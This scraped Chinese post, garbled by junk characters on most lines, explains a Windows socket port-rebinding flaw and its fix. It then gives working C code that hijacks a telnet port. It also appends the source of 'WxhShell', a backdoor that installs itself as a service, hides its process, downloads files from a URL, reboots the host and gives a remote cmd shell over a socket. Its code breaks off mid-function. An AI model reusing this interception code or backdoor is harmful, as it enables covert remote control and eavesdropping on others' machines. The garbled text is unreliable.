在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Bc=(1ty) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
0akJv^^D _`2%)#^o saddr.sin_family = AF_INET;
$QiMA, p{E(RsA saddr.sin_addr.s_addr = htonl(INADDR_ANY);
U6JD^G=qR, w,1N ;R& bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
9SC1A -nF r/h\>s+N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
49"C'n0wST ~}OaX+! 这意味着什么?意味着可以进行如下的攻击:
;D'm=uOl bdrE2m 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9/"&6, A1zRzg4 I 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
8GkWo8rPk k}LIMkEa4a 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/KH85/s b^R:q7ea 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
fRNj *bIV BB}WfA 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@3n!5XM{EE nOC\ =<Nsg 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
V lZ+x)E B7Ket8<J 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5bb#{?2i oyVT #include
jTwSyW #include
bB@=J~l4 #include
W=Syo&;F8 #include
gj;gl
="3 DWORD WINAPI ClientThread(LPVOID lpParam);
#19O5 int main()
#X]*kxQ< {
xxGm T.& WORD wVersionRequested;
x& _Y( bHA DWORD ret;
wPU5L*/*i WSADATA wsaData;
Y6wr}U BOOL val;
$mxG-'x%K SOCKADDR_IN saddr;
:V(C+bm * SOCKADDR_IN scaddr;
WvU[9ME^) int err;
X
-1r$. SOCKET s;
LR&MhG7 SOCKET sc;
2IJniS=[> int caddsize;
Xau%v5r HANDLE mt;
o?]Q&,tO DWORD tid;
"OwM'
n8 wVersionRequested = MAKEWORD( 2, 2 );
K^x{rn.Zf err = WSAStartup( wVersionRequested, &wsaData );
jP+{2)z"W if ( err != 0 ) {
d8Vqmrc~ printf("error!WSAStartup failed!\n");
{X?Aj >l return -1;
D <~UaHfk }
9#[,{2pJr saddr.sin_family = AF_INET;
2-m@- f['I4 /o //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
l&\y]ZV={ IV~)BW leT saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
xkf2; saddr.sin_port = htons(23);
N-N]BS6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p#c41_?'e {
YUSrZ9Yg printf("error!socket failed!\n");
.LAB8bg return -1;
i:Y5aZc/Ds }
t7-r YY( val = TRUE;
~_BjcY //SO_REUSEADDR选项就是可以实现端口重绑定的
?uCL[ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
fFEB#l!oUb {
&CRgi488b printf("error!setsockopt failed!\n");
o0AT&<K return -1;
+M.BMS2A<l }
86LE
)z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
5XT^K)' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
z81dm //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~F@p}u8TV bD)"Jy if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
0x*1I1(c {
q1HJ_y ret=GetLastError();
vo Et\H printf("error!bind failed!\n");
yIiVhI?X return -1;
=
1veO0 }
iB99.,o-& listen(s,2);
zw'%n+5m while(1)
= ~s+<9c] {
_an0G?7 caddsize = sizeof(scaddr);
q4X(_t //接受连接请求
BN&)5M?Xt6 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
nh7_
jEX if(sc!=INVALID_SOCKET)
-[N9"Z, {
U8aVI mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
AyUw if(mt==NULL)
z}}P+P/ {
"+2Cs printf("Thread Creat Failed!\n");
,e|"p[z~T break;
B0 A`@9 }
7"Nda3 }
^EN
)}:%Z CloseHandle(mt);
0"j:-1 }
^$dbyj` closesocket(s);
ElTB{C>u WSACleanup();
7Wv.-LD6 return 0;
0NSw^dO\ }
*Mg@j;+5s DWORD WINAPI ClientThread(LPVOID lpParam)
).HA#!SE {
He8]Eb SOCKET ss = (SOCKET)lpParam;
d<Lc&wlP SOCKET sc;
f5M;q; unsigned char buf[4096];
YXTV$A+lW SOCKADDR_IN saddr;
+<$nZ=,hsy long num;
S/*\j7cj DWORD val;
@gqZiFM) DWORD ret;
W4.w //如果是隐藏端口应用的话,可以在此处加一些判断
NsS;d^%I //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
h}nS&. saddr.sin_family = AF_INET;
rYV]<[?~7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
aZo}Ix:/ saddr.sin_port = htons(23);
34CcZEQQ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7f3,czW {
4n.JRR&; printf("error!socket failed!\n");
Kt qOA[6 return -1;
;t9!<L }
UM0Ws|qx& val = 100;
D9;pjY if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vC1fKo\p {
L9^M?.a ret = GetLastError();
&2%|?f| return -1;
izcjI.3e, }
[QMN0#(h if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@x*xgf {
{m3#1iV9 ret = GetLastError();
Y6Y"fb%K return -1;
C(h<s
e? }
i@D4bd9lR if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#?\(l% {
7MZH'nO printf("error!socket connect failed!\n");
,j{tGj_ closesocket(sc);
UsA fZg8 closesocket(ss);
fp(zd;BSQ return -1;
$;(@0UDE }
ab9ec Z while(1)
Y|wjt\M {
}oiNgs/N //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
e*`ht+ //如果是嗅探内容的话,可以再此处进行内容分析和记录
GzaGTd.b //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Is6}VLbB num = recv(ss,buf,4096,0);
5~UW=
if(num>0)
^kC!a>& send(sc,buf,num,0);
w*~s&7c2B else if(num==0)
`#<UsU,~Lu break;
|RD)pvVM num = recv(sc,buf,4096,0);
R#YeE`K if(num>0)
9D`K#3} send(ss,buf,num,0);
x'?p?u~[ else if(num==0)
SAitufS break;
"~.4z,ha }
Yh^8
! closesocket(ss);
RiAMW|M"C closesocket(sc);
$"(
15U return 0 ;
0=U|7%dOL }
A4rMJ+!5 %A3m%&(m&% WB_BEh[>j ==========================================================
x8C\&ivn LibQlNW\ 下边附上一个代码,,WXhSHELL
IS!OO< (x\VGo ==========================================================
I0H]s/*C%9 vm;%713#1 #include "stdafx.h"
n8)&1
q?V $nW9VMa #include <stdio.h>
?Bq^#i|m #include <string.h>
8 3/WWL } #include <windows.h>
LauGT* z! #include <winsock2.h>
zjow % #include <winsvc.h>
- >?tB1}^ #include <urlmon.h>
w
oIZFus {9{X\| #pragma comment (lib, "Ws2_32.lib")
co\Il]`R/ #pragma comment (lib, "urlmon.lib")
Gt?l 2s 32HF&P+0% #define MAX_USER 100 // 最大客户端连接数
.`_iWfK #define BUF_SOCK 200 // sock buffer
i5Sya]FN #define KEY_BUFF 255 // 输入 buffer
:
qK-Rku e
T;@pc #define REBOOT 0 // 重启
%,~\,+NP #define SHUTDOWN 1 // 关机
$mAC8a_Zu iFI+W<QR #define DEF_PORT 5000 // 监听端口
f@Jrbg ?M|1'`!c8 #define REG_LEN 16 // 注册表键长度
{irc~||4 #define SVC_LEN 80 // NT服务名长度
&b^~0Z gjz-CY.hz // 从dll定义API
_()1"5{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
g-UCvY
I typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
9M($_2,44 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
5rbb
,* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
@.i#uMWF` YU8]W% // wxhshell配置信息
,YvOk|@R struct WSCFG {
iSoQ1#MP)2 int ws_port; // 监听端口
J]Z~.f=" char ws_passstr[REG_LEN]; // 口令
&)+H''JY int ws_autoins; // 安装标记, 1=yes 0=no
JN9>nC!Zy_ char ws_regname[REG_LEN]; // 注册表键名
[mjie1j/< char ws_svcname[REG_LEN]; // 服务名
VZr:yE char ws_svcdisp[SVC_LEN]; // 服务显示名
>w7KOVbN3
char ws_svcdesc[SVC_LEN]; // 服务描述信息
Ng !d6] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!Tv3WQ@ int ws_downexe; // 下载执行标记, 1=yes 0=no
V7nOT*N:Q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
l"}_+5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
B K=w'1U ToPjBvD };
RzL(Gnb #z%D d{E // default Wxhshell configuration
:8oJG8WH struct WSCFG wscfg={DEF_PORT,
~AYl eM "xuhuanlingzhe",
(?t}S.>g 1,
ihwJBN>( "Wxhshell",
of_y<dd[G "Wxhshell",
ej}S{/<*n "WxhShell Service",
2yg6hR "Wrsky Windows CmdShell Service",
j:'g*IxM_ "Please Input Your Password: ",
YK6'/2! 1,
_9 '_w& "
http://www.wrsky.com/wxhshell.exe",
t>?tWSNf "Wxhshell.exe"
*n EkbI/ };
x,U_x P$k*!j_W // 消息定义模块
51y"#\7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
<nqv)g"u0 char *msg_ws_prompt="\n\r? for help\n\r#>";
mrnPZf i char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
1F5KDWtE char *msg_ws_ext="\n\rExit.";
[H<TcT8 char *msg_ws_end="\n\rQuit.";
4L8hn4F char *msg_ws_boot="\n\rReboot...";
G'G8`1Nj char *msg_ws_poff="\n\rShutdown...";
/<8y> char *msg_ws_down="\n\rSave to ";
X)~wB7_0G 4RtAwB char *msg_ws_err="\n\rErr!";
7LrmI~P char *msg_ws_ok="\n\rOK!";
b \`S[
`a MU 2 char ExeFile[MAX_PATH];
9>9EZ?4m int nUser = 0;
fM"*;LN!N HANDLE handles[MAX_USER];
]"{8"+x int OsIsNt;
Lm2!<<< jmkOu5@ SERVICE_STATUS serviceStatus;
/IRXk[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
KB](W _,T
4DS6 // 函数声明
-GCo`PR?b int Install(void);
<OGG(dI int Uninstall(void);
If,p!L int DownloadFile(char *sURL, SOCKET wsh);
Q7XOO3<): int Boot(int flag);
wTa u.Bo void HideProc(void);
]n|Jc_Y int GetOsVer(void);
m:?"|.] int Wxhshell(SOCKET wsl);
(XVBH1p" void TalkWithClient(void *cs);
oXnaL)Rk int CmdShell(SOCKET sock);
,oA<xP-* int StartFromService(void);
esnq/ int StartWxhshell(LPSTR lpCmdLine);
6ABK)m-y :+PE1=v VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
W~ET/h VOID WINAPI NTServiceHandler( DWORD fdwControl );
(n*:LS=0 p8!T)
?| // 数据结构和表定义
A'KH_]) SERVICE_TABLE_ENTRY DispatchTable[] =
\|S!g_30m {
[|KvlOvP {wscfg.ws_svcname, NTServiceMain},
?PT>V,& {NULL, NULL}
@ps(3~?7 };
{jz`K1
qt~=47<d // 自我安装
:HO5
T int Install(void)
z2uL[deN'" {
Fa )QDBz) char svExeFile[MAX_PATH];
*$<W"@%^J HKEY key;
[^5;XD:%&l strcpy(svExeFile,ExeFile);
@9B*V~ < \CMZ_%~wU // 如果是win9x系统,修改注册表设为自启动
A<X?1$ if(!OsIsNt) {
)?$[iu7 s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D:_W;b) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
c[,h|~K/_? RegCloseKey(key);
6UeY Z g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R{H[< s+n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
e(?w h RegCloseKey(key);
K@O^\ return 0;
7pyzPc#_ }
!=YKfzE }
fu^W# "{ }
BHUI1y5t else {
:dSda,!z ! ;t\lgMl // 如果是NT以上系统,安装为系统服务
2]5{Xmmo9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
8D*nU3O if (schSCManager!=0)
jb.H[n,\ {
W#p7M[ SC_HANDLE schService = CreateService
-[=eVS.2% (
Ur(R[*2bx schSCManager,
r0XEB,} wscfg.ws_svcname,
2jFuF71 wscfg.ws_svcdisp,
u
S1O-Q> SERVICE_ALL_ACCESS,
}xk(aM_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
3#>W\_FY*D SERVICE_AUTO_START,
"Wwu Ty| SERVICE_ERROR_NORMAL,
p%3z*2,( svExeFile,
At iUTA
NULL,
!@=S,Vc. NULL,
Cq\XLh ` NULL,
} a9Ah:.7/ NULL,
R c+olJ^5 NULL
T-en|. );
^viabkf C if (schService!=0)
V\;Xa0 {
?RsrY4P CloseServiceHandle(schService);
5qb93E"C CloseServiceHandle(schSCManager);
U)/.wa> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
]4l2jY strcat(svExeFile,wscfg.ws_svcname);
&
o5x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{%R^8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
SiLW[JXd RegCloseKey(key);
y|5L%,i return 0;
. <"XE7 }
bv[#|^/ }
8s1nE_3 CloseServiceHandle(schSCManager);
v'W{+>. }
lG7PM^Eb }
.^Sglo Ie.*x'b?y return 1;
V?uT5.B2 }
SMEl'y )}ev;37<C
// 自我卸载
k]~o=MLmj int Uninstall(void)
jRJG .hcB5 {
}L\;W:0 HKEY key;
Xz_WFLq4 ^_WR) F'K if(!OsIsNt) {
o,6t:?Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@Rr=uf G RegDeleteValue(key,wscfg.ws_regname);
DrK]U}3fh" RegCloseKey(key);
xXe3E& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
H;/do-W[ RegDeleteValue(key,wscfg.ws_regname);
XO+BZB`F RegCloseKey(key);
,Z
q:na return 0;
l0qaTpn }
|oY{TQ<<d }
'f5
8Jwql }
!eW1d0n'+f else {
K:,V>DL xfYKUOp/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
PkvW6,lS if (schSCManager!=0)
;4nY{)bD {
>y3FU1w5d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
>q"dLZ if (schService!=0)
`i.BB jx` {
,mHME~ if(DeleteService(schService)!=0) {
Y^fw37b CloseServiceHandle(schService);
\ruQx)5M CloseServiceHandle(schSCManager);
Aa
~W, return 0;
(95|DCL }
#T=iS(i CloseServiceHandle(schService);
Tagf7tw4 }
'C]w3Rh' CloseServiceHandle(schSCManager);
xl&@g)Jj }
EXDDUqZ5\ }
C[J9 =!t -D`1z?zHra return 1;
qSY\a\.< }
Sdu\4;( #])"1fk // 从指定url下载文件
z`{sD] int DownloadFile(char *sURL, SOCKET wsh)
`3;EJDEdbi {
9\Ii$Mp HRESULT hr;
[LYO'-g^F# char seps[]= "/";
F%w!I 9 char *token;
,lZ19B?WP char *file;
eh86-tQI~( char myURL[MAX_PATH];
CMj =4e char myFILE[MAX_PATH];
,'8%'xit roADC?@r strcpy(myURL,sURL);
%U\,IO `g token=strtok(myURL,seps);
lw@Yn>eza while(token!=NULL)
3&hR#;,"X {
zp}7p~#k^ file=token;
p<5]QV7st token=strtok(NULL,seps);
\<7Bx[/D4 }
/Hr|u B2;P%B GetCurrentDirectory(MAX_PATH,myFILE);
m<CrkKfpG strcat(myFILE, "\\");
)lG}B U. strcat(myFILE, file);
UG2+Y'] send(wsh,myFILE,strlen(myFILE),0);
Z/Rp?Jz\j/ send(wsh,"...",3,0);
@{/)k%U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
"Z.6@
c7 if(hr==S_OK)
p{Lrv%-j return 0;
)z[C= else
,^/Wv!uPE return 1;
]Lv P)0= S\GWMB!oF }
8E%LhA. #(^<qr // 系统电源模块
@%4'2b int Boot(int flag)
cYSn
{
=H{<}>W' HANDLE hToken;
7`|'Om?' TOKEN_PRIVILEGES tkp;
|Z:yd}d > Pw5!i\ if(OsIsNt) {
YVIE v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
,GSiSn LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
+( LH!\{^ tkp.PrivilegeCount = 1;
#-L0.z( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
&~:EmLgv AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
de:@/-| if(flag==REBOOT) {
1eI*.pt if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@Jd&[T27Lr return 0;
)!8qJQD }
kV'zAF
v else {
*zdD4I= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
4C;;V m4~ return 0;
Fb,*;M1' }
#}7T$Va }
HPtMp#`T else {
.j4y0dh33 if(flag==REBOOT) {
72nZ`u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ChiIQWFE return 0;
<B6md
i'R }
- Jaee,P else {
ZF7n]LgSc& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
g QBS#NY return 0;
T+Yv5l }
x^lcT }
)1At/ mr a6Vfd& return 1;
a*p|Ij }
13?:a[~=Y *7AB0y0k // win9x进程隐藏模块
Ii0\Skb void HideProc(void)
B^2r4
9vC {
5{=+S] /\1'.GR HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
=M1}HF,7>l if ( hKernel != NULL )
y[7M(K {
,
z\Qd07u pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
GCl
*x: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Q>5f@aN FreeLibrary(hKernel);
AXbb-GK }
tddwnpnSw L?ZSfm2< return;
kFjv'[Y1N }
dA<%4_WZty }83
8F& // 获取操作系统版本
.$\-{) int GetOsVer(void)
2J=`"6c {
=%` s-[5b OSVERSIONINFO winfo;
xP\s^]e winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
[8'?G5/n GetVersionEx(&winfo);
-mO#HZ Iq if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
q^xG%YdPz+ return 1;
"M/c0`>C!i else
';R]`vWFe return 0;
QGN+f) }
2TGND-(j -;cF)C--12 // 客户端句柄模块
0MRWx%CR int Wxhshell(SOCKET wsl)
!/G}vu {
V7WL Gy., SOCKET wsh;
M6wH$!zRa struct sockaddr_in client;
jU-LT8y: DWORD myID;
3I 0pHP5 q
4Pv\YO while(nUser<MAX_USER)
/ =9Y(v {
.u mqyU~ int nSize=sizeof(client);
c#x~x wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
<lzC|>BG if(wsh==INVALID_SOCKET) return 1;
JWHsTnB #`y[75<n handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
e6p3!)@P1 if(handles[nUser]==0)
> %KEMlKZ closesocket(wsh);
N[eLQe]q else
k
-G9'c~ nUser++;
)2c]Z| }
/)[-5n{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Z"c-Ly{vEj P[fy return 0;
|mMsU,*gB }
#~p;s> cn}15JHdR // 关闭 socket
Q m*z void CloseIt(SOCKET wsh)
3>n&u,Xe {
B-g-T>8 closesocket(wsh);
'jO2pH/% nUser--;
_N;@jq\q ExitThread(0);
+C\79,r }
e(w c
[bv (+gTIcc
> // 客户端请求句柄
E^J &?- void TalkWithClient(void *cs)
}@LIb<Y {
0V6, &rTF q25p3 SOCKET wsh=(SOCKET)cs;
2|7:`e~h char pwd[SVC_LEN];
{ccc[G?>.Q char cmd[KEY_BUFF];
RF*>U a char chr[1];
rOOo42YW` int i,j;
]]y>d! 1tTP;C
l# while (nUser < MAX_USER) {
t,LK92? &n,v@
gt if(wscfg.ws_passstr) {
0`zdj if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
oi`L ;w|] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
BcQUD?LC` //ZeroMemory(pwd,KEY_BUFF);
4U\>TFO i=0;
W'"hjQ_ while(i<SVC_LEN) {
uPl7u1c {
1~]}K2 // 设置超时
1D[V{)# fd_set FdRead;
'bRf>= struct timeval TimeOut;
G1it
3^*$ FD_ZERO(&FdRead);
iJdJP)!tz6 FD_SET(wsh,&FdRead);
`'|6b5`2j TimeOut.tv_sec=8;
<Z t ]V`- TimeOut.tv_usec=0;
bq5ySy{8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
(~Bm\ Jn if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
E
uO:}[ CnuM=S: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
0Gj/yra9MO pwd
=chr[0]; a1_ N~4r`
if(chr[0]==0xd || chr[0]==0xa) { N5l`Rq^K
pwd=0; ax5n}
break; H,<CR9@(5d
} Zz (qc5o,F
i++; _*=4xmB.=
} Ng<ic
o_\vudXK
// 如果是非法用户,关闭 socket =oXlJ[)h
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XR8`,qH>
} /V0Put
]u<U[l-w
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4 dHGU^#WZ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :*g$@T
5M> p%/
while(1) { V}vL[=QFZ(
/Gnt.%y&
ZeroMemory(cmd,KEY_BUFF); {{gd}g
k6DJ(.n'%a
// 自动支持客户端 telnet标准 IM6n\EZ^
j=0; f4\F:YT
while(j<KEY_BUFF) { Q(x=;wf5r
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;~
Xjk
cmd[j]=chr[0]; qPi $kecx
if(chr[0]==0xa || chr[0]==0xd) { p]X+#I<
cmd[j]=0; T-n>+G{
break; ~YNzSkz
} Tq*<J~-
j++; JoB-&r}\V*
} |
#a{1Z)
3v$n}.
// 下载文件 9FC_B+7
if(strstr(cmd,"http://")) { ,h%n5R$:
send(wsh,msg_ws_down,strlen(msg_ws_down),0); fWJOP sp*/
if(DownloadFile(cmd,wsh)) g<~ODMCO?W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); orWF>o=1
else 5Th\wTh04
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \3(s&K\Y6\
} V@LBy1z
else { 08@4u
L
Yrf?|,
switch(cmd[0]) { S\ZCZ0
r.@UH-2c
// 帮助 )y!gApNs"
case '?': { 3bLOT#t
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~K)FuL[*
break; s%#u)nw19
} ;=%cA#}_0
// 安装 ]ml 'd
case 'i': { } j6|+
if(Install()) MC-Z6l2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {>64-bU
else 5y='1s[%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y]i}j,e0L
break; u<n['Ur}|
} @w%kOX
// 卸载 \Rt>U|%
case 'r': { f[`&3+
if(Uninstall()) ~6u|@pnI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cWQ &zc
else ;eFV}DWW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zb~;<:<
break; ]LCL?zAzH!
} $D^27q:H
// 显示 wxhshell 所在路径 _MQh<,Z8
case 'p': { 9l[C&0w#\
char svExeFile[MAX_PATH]; d]_].D$
strcpy(svExeFile,"\n\r"); t T
A
strcat(svExeFile,ExeFile); j$u
send(wsh,svExeFile,strlen(svExeFile),0); N>s3tGh
break; \(?d2$0m
} L`:V]p
// 重启 >)[W7h
case 'b': { vPZ0?r_5W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7k#>$sY+
if(Boot(REBOOT)) ;$*tn"- ?~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KB\ri&bF
else { _=[pW2p
closesocket(wsh); E^w0X,0XlE
ExitThread(0); 4;jAdWj3
} +U1fa9NSn
break; t=fAG,k5
} n68qxD-X
// 关机 O#^qd0e'P!
case 'd': { sV%=z}n=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +5GC?cW
if(Boot(SHUTDOWN)) +Z9ua%,3%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ncsk(`lo
else { 0|\JbM
closesocket(wsh); ;8]Hw a1!
ExitThread(0); vl`St$$|
} \WUCm.w6\%
break; )>rYp
)
} W"~"R
// 获取shell H]dN'c-
case 's': { K(NP%:
CmdShell(wsh); za.^vwkBk2
closesocket(wsh); pXNH
ExitThread(0); aO:A pOAO
break; xy)W_~Mk
} :W'.SRD
// 退出 JV;VR9-l
case 'x': { -S@ ys
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FGo)]U
CloseIt(wsh); MzW!iG
break; ~vZ1.y4
} TYxi&;w
// 离开 Pl|*+g
case 'q': { e7Sg-NWV
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .?F`H[^)^u
closesocket(wsh); 7pH[_]1"
WSACleanup(); A~a7/N6s;
exit(1); VM3)L>x]/
break; *:chN' <
} >u`Ci>tY
} Nc(A5*
} +jGUp\h%9;
MA mjoH
// 提示信息 V2 }.X+u&<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _2})URU<S
} H[/^&1P
} 2ZxZ2?.uJ
DY87NS*HF
return; Ban"H~
} [}l
1`>
?zXlLud8
// shell模块句柄 .6i +_B|
int CmdShell(SOCKET sock) k~1{|HxrE
{ p!(]`N
STARTUPINFO si; cPl$N5/5
ZeroMemory(&si,sizeof(si)); cc3+Wx_
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _ =(v? 2:?
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B/EGaYH
PROCESS_INFORMATION ProcessInfo; {RH)&k&%
char cmdline[]="cmd"; Fz$^CMw5K
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W$R@Klz
return 0; {f>e~o
} ]"vpCL
nlx~yUXL4
// 自身启动模式 d:n.Vp
int StartFromService(void) n*qn8Dq
{ )]JQlm:H
typedef struct l'\m'Ioh
{ tH4+S?PI
DWORD ExitStatus; QJH~YV\%
DWORD PebBaseAddress; IkLcL8P^
